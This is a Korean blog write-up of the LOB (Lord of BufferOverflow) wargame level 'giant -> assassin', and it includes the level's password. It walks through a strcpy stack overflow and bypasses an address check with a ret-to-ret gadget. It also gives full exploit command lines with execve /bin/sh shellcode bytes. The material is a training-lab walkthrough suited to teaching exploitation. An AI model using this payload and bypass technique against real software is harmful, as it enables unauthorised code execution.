LOB giant -> assassin
ID : giant
Passwd : one step closer
접속해서 ls 명령어로 파일을 확인합니다.
code를 열어보면 stack과 library 영역을 막고 있네요.
code 영역으로 공격해보겠습니다.
strcpy()에서 크기 제한을 두지 않고 있습니다.
argv[1][47]이 ‘\xbf'과 ‘\x40’만 아니면 됩니다.
저는 code 영역에 ret을 다시 이용하고자 합니다.
leave를 하고 ret을 합니다. 근데 Return Address가 다시 ret(자기 자신)이라면,
leave – ret – ret
다시 돌아와서 결국 Return Address는 마지막 ret 명령할 때 입니다.
| sfp | ret(&ret) | stack or library |
이렇게 변조를 해줬다면 argv[1][47]에 ‘\xbf', ‘\x40’을 우회할 수 있고, 결과적으로는 stack이나 library 영역으로 ret 할 수 있다는 얘기입니다.
즉, 검사는 argv[1][47]만 하니까 그 부분만 포장해주고, 속은 stack과 library의 주소를 넣어주는 것입니다.
백문이 불여일견,
main()의 ret의 찾아보겠습니다. main()의 함수 에필로그에 있겠죠?
gdb로 열어봅시다.
argv[2]에 셸코드를 넣는다고 가정하고, payload를 구상해보면,
payload : ./assassin `python –c ‘print “A”*44 + “\x1e\x85\x04\x08” + argv[2]’s NOP’` `python –c ‘print “\x13000” + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`
argv[2]를 찾겠습니다.
대충 감안해서, 0xbfffcb90으로 Return Address를 변조하겠습니다.
payload : ./assassin `python –c ‘print “A”*44 + “\x1e\x85\x04\x08” + “\x90\xcb\xff\xbf”’` `python –c ‘print “\x13000” + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`
원본 파일에 공격하겠습니다.
exploit!
감사합니다.
'System&Write up > LOB' 카테고리의 다른 글
LOB zombie_assassin -> succubus Write up (2) | 2017.11.13 |
---|---|
LOB assassin -> zombie_assassin Write up (0) | 2017.11.12 |
LOB bugbear -> giant Write up (0) | 2017.11.08 |
LOB darkknight -> bugbear Write up (0) | 2017.10.26 |
LOB golem -> darkknight Write up (0) | 2017.10.26 |